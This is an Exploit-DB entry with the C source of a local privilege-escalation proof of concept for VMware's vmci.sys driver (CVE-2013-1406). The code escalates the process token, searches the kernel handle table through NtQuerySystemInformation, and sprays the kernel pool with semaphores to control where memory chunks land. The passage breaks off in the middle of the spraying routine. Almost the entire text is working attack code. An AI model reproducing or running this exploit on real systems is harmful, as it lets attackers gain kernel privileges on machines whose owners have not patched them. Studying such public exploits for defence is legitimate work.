Exploit-DB #40164
Description: VMware Virtual Machine Communication Interface (VMCI) - 'vmci.sys'
Type: local
Platform: multiple
Date: 2013-03-06
Author: Artem Shishkin

Exploit:
/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = Look